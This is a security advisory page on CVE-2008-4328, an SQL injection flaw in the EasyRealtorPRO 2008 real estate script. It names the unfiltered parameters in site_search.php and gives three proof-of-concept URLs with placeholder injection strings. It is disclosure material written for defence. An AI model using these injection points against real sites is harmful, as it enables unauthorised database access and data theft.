Bug: SQL Injection in EasyRealtorPRO 2008 ( Ascii Version )

Search:
WLB2

SQL Injection in EasyRealtorPRO 2008

Published
Credit
Risk
2008.09.26
SmOk3
Medium
CWE
CVE
Local
Remote
CWE-89
CVE-2008-4328
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

Original article:
http://www.davidsopas.com/2008/09/sql-injection-in-easyrealtorpro/


"EasyRealtorPRO 2008 provides you with all features you need to setup
your own business oriented real estate website on your own domain
name. Our support team will install the script on your server and then
you can start selling packages to home sellers at ease." in vendor
website easyrealtorpro.com

This PHP script is vulnerable to SQL Injection in site_search.php file.

Manipulating the unfiltred variables, a user can execute SQL commands
to gather other information. The problem is located under the
variables item, search_ordermethod and search_order.

Proof of concept:

site_search.php?search_purpose=sale&search_type=&
search_price_min=&search_price_max=&search_bedroom=1&
search_bathroom=1&search_city=&search_state=&
search_zip=&search_radius=&search_country=&
search_order=type&search_ordermethod=asc&page=2&
item=5'SQL INJECTION

site_search.php?search_purpose=sale&search_type=&
search_price_min=&search_price_max=&search_bedroom=1&
search_bathroom=1&search_city=&search_state=&
search_zip=&search_radius=&search_country=&
search_order=type&search_ordermethod=asc'SQL INJECTION&
page=2&item=5

site_search.php?search_purpose=sale&search_type=&
search_price_min=&search_price_max=&search_bedroom=1&
search_bathroom=1&search_city=&search_state=&
search_zip=&search_radius=&search_country=&
search_order=type'SQL INJECTION&search_ordermethod=asc&
page=2&item=5

Solution: The vendor was contacted 2 weeks ago and still not reply to
my email. It can be fixed with the sanitize of the variables.

References:

http://www.securityfocus.com/bid/31401
http://www.securityfocus.com/archive/1/archive/1/496744/100/0/threaded
http://www.davidsopas.com/2008/09/sql-injection-in-easyrealtorpro/

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version